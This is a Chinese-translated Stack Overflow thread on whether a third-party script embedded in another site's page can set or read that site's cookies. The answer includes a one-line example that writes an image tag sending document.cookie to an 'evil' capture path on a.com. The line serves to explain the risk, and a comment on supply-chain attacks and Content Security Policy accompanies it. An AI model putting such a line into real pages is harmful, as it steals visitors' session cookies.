第三方脚本可以设置第一方Cookie吗?

use*_*299 7 javascript cookies cross-domain same-origin-policy

我已经在线阅读了很多有关Cookie的内容,但是没有一个解决这个问题的方法:假设我在a.com上有一台服务器,而b.com所服务的网页在该网页中嵌入了一个脚本,该脚本位于我的服务器上:

<script src='a.com/script.js'></script>
Run Code Online (Sandbox Code Playgroud)

就设置cookie而言,该脚本可以做什么?它可以设置cookie domain=a.com吗?我想是因为脚本是从该域提供的。domain=b.com由于该页面是从该服务器提供的,是否还可以设置cookie ?

我试图弄清在从另一个主机的网页调用的脚本上下文中“第一方”和“第三方”的含义。

Bra*_*don 5

我认为.js文件的来源不相关。Cookie域与正在呈现的文档的域有关。

如果我访问http://www.b.com/,其中包括

<script src="http://www.a.com/some/file.js"></script>
Run Code Online (Sandbox Code Playgroud)

然后b.com信任a.com的代码以真诚行事。该代码将作为正在查看的页面的一部分执行。由于javascript代码将在浏览器中执行,因此可以b.com通过在src包含数据的文档中创建标签来从其中读取cookie 并传递数据。

例如,如果a.com的javascript文件包含

document.writeln("<img src='http://www.a.com/evil/data/capturer?" + document.cookie + "'>");
Run Code Online (Sandbox Code Playgroud)

然后,a.com的恶意网站管理员可以检查其Web服务器日志并查看b.com的cookie。

因此,问题是,如果a.com是恶意的,为什么b.com在其页面中包含a.com的代码?他们可能没有。作为Web开发人员,我们需要验证嵌入到我们网站中的任何第三方代码的可信度。

  • “我们需要验证我们嵌入到网站中的任何第三方代码的可信度”:遗憾的是这是不现实的,您无法审核您使用的每一行第三方 JS 代码,包括它自己的依赖项和子依赖项。即使可以,黑客也很有创造力,可以找到一种隐藏的方法(例如https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident)。使用良好的内容安全策略。 (2认同)